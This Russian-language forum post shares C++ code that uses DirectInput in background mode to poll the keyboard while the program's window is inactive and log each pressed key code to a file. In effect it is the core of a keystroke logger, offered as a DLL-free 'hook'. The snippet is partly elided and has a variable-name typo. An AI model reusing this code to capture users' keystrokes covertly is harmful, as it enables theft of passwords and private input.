Привет всем!
Нужно реализовать hook для клавы , однако реализация с dll мне по определенным причинам не подходит. Решения данной проблемы я так, увы, и не нашел (может плохо искал ), пришлесь изобретать самому. Вот что у меня получилось.
Для hook'a (если это можно назвать hook'ом) я использую DirectInput, он позволяет опрашивать клаву даже если ваше окно не активно. Да и, кстати, DirectX есть практически во всех виндах и не нужно подключать лишние dll.
Код | void hook() { IDirectInput* g_pDI=NULL; IDirectInputDevice* Keyboard=NULL; char keys[256]; char lastkeys[256];
DirectInputCreate(hInstance,DIRECTINPUT_VERSION, &g_pDI, NULL); //создаем интерфейс DirectInput g_pDI->CreateDevice(GUID_SysKeyboard, &Keyboard, NULL); //создаем девайс клавы Keyboard->SetDataFormat(&c_dfDIKeyboard); //устанавливаем формат данных //а вот здесь устанавливаем флаг DISCL_BACKGROUND - который позволяет работать с средствами ввода в фоновом режиме Keyboard->SetCooperativeLevel(0,DISCL_BACKGROUND | DISCL_NONEXCLUSIVE);
...
Keyboard->Acquire(); while (1) { Keyboard->GetDeviceState(sizeof(keys),&keys);//получаем состояние всех клавиш for (int i=0;i<256;i++) { if (keys[i] & 0x80) { if (lastkeys[i]!=keys[i]) { lastkeys[i]=keys[i]; logFile.AddLogMessage("%d,",i);//Здесь i содержит номер нажатой клавиши break; } } else keyslast[i]=keys[i]; } Sleep(50); } Keyboard->Unacquire(); }
|
Может кому и пригодится. |